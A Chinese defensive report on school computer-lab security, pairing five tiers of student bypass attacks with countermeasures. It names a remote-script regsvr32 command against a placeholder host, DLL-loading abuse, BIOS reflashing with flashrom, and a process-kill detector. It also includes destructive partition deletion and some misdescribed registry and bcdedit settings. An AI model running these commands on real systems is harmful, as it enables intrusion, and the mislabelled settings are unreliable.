《学校机房终端安全全链条攻防分析与防御体系建设报告》

🛡️《学校机房终端安全全链条攻防分析与防御体系建设报告》

—— 从最基础到最高级攻击的完整应对方案（2025 实战版）

一、前言：为什么需要这份报告？

当前学校机房普遍存在“重管理、轻安全”的现象。控制软件虽能实现教学互动，但面对日益升级的绕过手段，已显乏力。

本报告基于真实攻防实践，梳理了从 最弱到最强的五类典型攻击路径，并提出一套 零硬件投入、可批量部署、可持续维护的全链条防御体系，旨在帮助学校构建“防得住、管得清、追得着”的终端安全环境。

二、攻击等级划分：从初级到顶级

三、各层级攻击方式与防御对策

🔹 第一层：初级攻击 —— 强行结束进程 + 重启

🎯 攻击方式：

• Ctrl+Shift+Esc 打开任务管理器
• 结束 StudentMain.exe
• 重启或强制关机

🛡 防御策略：

1. 组策略禁用任务管理器
   • 路径：gpedit.msc → 系统 → Ctrl+Alt+Del选项 → 禁用任务管理器
2. 将控制软件设为关键服务

   [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\StudentMain]
   "Type"=dword:00000010  ; 内核级服务
   

3. 添加守护进程（Watchdog）
   • 后台脚本检测主程序是否运行，异常则重启

✅ 效果：学生无法打开任务管理器，进程受保护。

🔹 第二层：中级攻击 —— 使用PE删除控制软件

🎯 攻击方式：

• 插入U盘启动PE（如微PE）
• 删除极域文件、注册表项、服务
• 重启后控制失效

🛡 防御策略：

1. BIOS/UEFI 加密锁定
   • 设置管理员密码
   • 禁用 USB/Floppy/CD 启动
   • 启用 Secure Boot + UEFI Only
2. 删除恢复分区 & 禁用 WinRE

   reagentc /disable
   diskpart → delete partition override
   

3. 禁止大容量存储设备

   [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\USBSTOR]
   "Start"=dword:00000004
   

✅ 效果：PE无法启动，外部设备被封死。

🔹 第三层：高级攻击 —— 本地硬盘安装PE，持久清除

🎯 攻击方式：

• 下载PE镜像，写入本地硬盘隐藏分区
• 修改BCD引导项，添加PE启动
• 每次开机可进入PE彻底删改
• 清理痕迹，不留外设证据

🛡 防御策略：

1. 锁定 BCD 引导配置

   bcdedit /set {default} nointegritychecks off
   bcdedit /set {bootmgr} displaybootmenu no
   

2. 启用固件写保护（SPI Lock）
   • BIOS中启用 “Flash Write Protection”
3. 监控BCD修改事件
   • 使用 WMI 或脚本记录每次引导变更
4. 物理封条 + 摄像头联动
   • 记录异常启动行为

✅ 效果：无法新增启动项，任何修改都会被发现。

🔹 第四层：超高级攻击 —— 类CIH式运行时刷写BIOS

🎯 攻击方式：

• 在Windows下运行 flashrom.exe + winring0.sys
• 直接调用 in/out 指令刷写 SPI Flash
• 关闭 Secure Boot，开启 USB 启动
• 重启后可自由进PE

🛡 防御策略：

1. 强化 WDAC 策略
   • 只允许 Microsoft 官方签名驱动加载
   • 禁用测试签名模式

     bcdedit /set TESTSIGNING OFF
     

2. 部署 Sysmon 行为监控
   • 检测 ImageLoad、DriverLoad、ProcessAccess
   • 上报可疑驱动加载行为
3. 轻量级拦截脚本

   If InStr(p.Name, "flashrom") > 0 Then p.Terminate
   

4. 固件状态快照检测

   if (!(Confirm-SecureBootUEFI)) { Alert-Teacher "Secure Boot 被关闭" }
   

✅ 效果：即使工具伪装微软，行为异常也会被阻断。

🔴 第五层：终极攻击 —— “白加黑”滥用合法程序

🎯 攻击方式：

• 利用 rundll32.exe payload.dll 加载恶意代码
• 使用 regsvr32 /s http://xxx/mal.js 执行无文件攻击
• 借 installutil.exe 提权并持久化

🛡 防御策略：

1. 启用 ASR 规则（攻击面减少）

   Add-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A
   Add-MpPreference -AttackSurfaceReductionRules_Actions Enabled
   

2. AppLocker 限制 DLL 加载
   • 只允许系统目录中的DLL被高危程序加载
3. 禁用或重命名高危系统程序

   icacls rundll32.exe /deny Users:(X)
   ren regsvr32.exe regsvr32.disabled
   

4. 上下文审计 + 心理威慑
   • 所有敏感操作日志上报教师机
   • 教室摄像头标记“开机时段”
   • 违规者通报批评

✅ 效果：合法程序不能滥用于非法目的。

四、综合防御架构图

┌──────────────────────┐
│   物理与BIOS封锁        │ ← 密码 + Secure Boot + 禁USB启动
├──────────────────────┤
│   恢复环境清除          │ ← 删除WinRE + 恢复分区
├──────────────────────┤
│   引导流程控制          │ ← 锁定BCD + 延迟网络激活
├──────────────────────┤
│   运行时行为监控        │ ← WDAC + ASR + Sysmon + 脚本拦截
├──────────────────────┤
│   状态快照与审计追责     │ ← 固件校验 + 日志上报 + 摄像头联动
└──────────────────────┘

✅ 五层联动，缺一不可；
✅ 全程无需硬件还原卡或专用设备。

五、低成本落地建议

📌 总投入：≤500元（仅需一个智能插座）

六、预期成果

七、课题应用价值

本方案突破传统“依赖硬件还原卡”的高成本思路，提出一种基于“固件锁定 + 行为监控 + 状态快照”的纯软件防御模型。通过系统原生安全机制，有效抵御从基础到顶级的各类绕过攻击，具有成本低、易部署、可持续的特点，为教育资源薄弱地区的信息化安全管理提供可行路径。

八、附件清单（可用于申报与演示）

1. bios_setting_guide.pdf —— BIOS设置图文指南
2. disable_winre.bat —— 一键禁用恢复环境
3. lock_bcd.cmd —— 锁定引导配置
4. monitor_critical.vbs —— 实时行为拦截脚本
5. check_integrity.ps1 —— 固件状态检测
6. alert_server.py —— 教师端日志接收服务
7. security_checklist.xlsx —— 巡检表模板
8. presentation.pptx —— 汇报PPT（含架构图、对比表）

当然，加强立法是王道